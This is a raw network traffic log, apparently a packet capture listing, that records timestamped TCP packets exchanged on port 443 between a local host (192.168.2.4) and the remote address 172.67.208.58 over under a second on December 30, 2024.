Dec 30, 2024 19:10:33.852293015 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.852320910 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852325916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.852351904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852370977 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852562904 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.852580070 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.852621078 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852626085 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.852638006 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852668047 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.852983952 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.853014946 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.853041887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.853046894 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.853074074 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.853091002 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.853197098 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.853230000 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.853249073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.853252888 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.853270054 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.853293896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.854767084 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.854780912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.854830027 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.854835987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.855098009 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.855123997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.855154037 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.855159998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.855173111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.855197906 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.856858015 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.922214031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.922265053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.922285080 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.922296047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.922313929 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.922339916 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951186895 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951205969 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951281071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951288939 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951577902 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951601982 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951637030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951643944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951662064 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951689005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951752901 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951770067 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951812983 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951819897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.951839924 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.951862097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952054977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952084064 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952115059 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952120066 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952146053 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952323914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952342987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952361107 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952366114 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952379942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952406883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952647924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952666998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952703953 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952708960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952722073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952749968 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.952933073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.952948093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.953008890 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.953013897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:33.953629971 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:33.954942942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.011627913 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.011653900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.011702061 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.011713982 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.011748075 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.011768103 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041033030 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041049957 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041100025 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041107893 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041135073 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041156054 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041363001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041378975 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041413069 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041418076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041443110 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041461945 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041747093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041760921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.041805029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.041810036 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042260885 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042318106 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.042325020 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042335987 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042377949 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.042810917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042824984 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042881966 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.042887926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.042924881 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.042994022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.043006897 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.043055058 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.043061018 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.043114901 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.043500900 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.043519974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.043551922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.043557882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.043570995 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.043602943 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.044018030 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.112639904 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.112675905 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.112737894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.112755060 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.112890005 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.112898111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.153564930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.153594971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.153763056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.153763056 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.153775930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154050112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154077053 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154103041 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.154109955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154133081 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.154155970 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.154445887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154459953 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154506922 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.154512882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154803038 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154819965 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154855967 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.154863119 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.154887915 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.154908895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.155332088 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.155356884 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.155390978 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.155397892 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.155409098 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.155435085 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.155833960 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.155847073 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.155890942 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.155898094 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.156025887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.156069994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.156075954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.156532049 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.156553030 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.156583071 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.156589031 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.156610012 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.165950060 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.202434063 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.202456951 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.202671051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.202683926 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241328001 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241345882 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241430044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.241437912 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241702080 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241734028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241769075 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.241776943 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241803885 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.241828918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241847992 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241880894 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.241887093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.241905928 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.242142916 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.242158890 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.242213964 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.242221117 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.243046999 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.243071079 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.243113995 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.243119955 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.243153095 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.243683100 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.243696928 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.243758917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.243765116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.244035959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.244066954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.244093895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.244101048 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.244127989 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.244906902 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.332961082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.332984924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.333055973 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.333082914 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.333125114 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.333142996 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336205006 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336222887 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336317062 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336323023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336424112 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336445093 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336462975 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336468935 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336500883 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336525917 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336741924 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336769104 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336801052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336806059 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336836100 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336848974 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336918116 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336931944 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.336988926 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.336993933 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337234974 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337253094 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337300062 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.337306023 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337336063 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.337361097 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.337517977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337532997 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337582111 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.337588072 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.337960958 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.338001013 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.338027000 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.338032961 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.338054895 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.338423014 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.440565109 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.440586090 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.440685034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.440695047 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442722082 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442749977 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442801952 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.442806959 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442831039 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.442850113 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442859888 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.442866087 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442878962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442900896 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.442905903 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.442929983 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.442953110 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.442987919 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443001986 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443053007 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.443058014 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443300962 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443331003 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443356991 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.443361998 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443388939 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.443413019 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.443591118 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443608999 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.443659067 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.443665028 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444025993 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444041967 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444077015 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.444082022 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444108009 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.444134951 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.444324970 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444356918 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444380045 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.444385052 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.444403887 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.444432020 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.444631100 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.528950930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.528976917 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.529191017 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.529217005 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.529278994 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531234980 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531250954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531333923 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531341076 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531352043 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531368971 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531429052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531429052 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531435966 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531481028 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531665087 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531680107 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531740904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531747103 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531873941 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531892061 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531929016 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531935930 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.531960011 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.531985044 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532300949 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532315016 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532376051 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532382011 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532423973 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532444954 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532463074 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532469034 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532500029 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532524109 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532885075 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532900095 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.532932997 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532965899 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.532972097 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.536480904 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.539597034 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.617708921 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.617734909 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.617790937 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.617803097 CET	443	49746	172.67.208.58	192.168.2.4
Dec 30, 2024 19:10:34.617832899 CET	49746	443	192.168.2.4	172.67.208.58
Dec 30, 2024 19:10:34.617854118 CET	49746	443	192.168.2.4	172.67.208.58
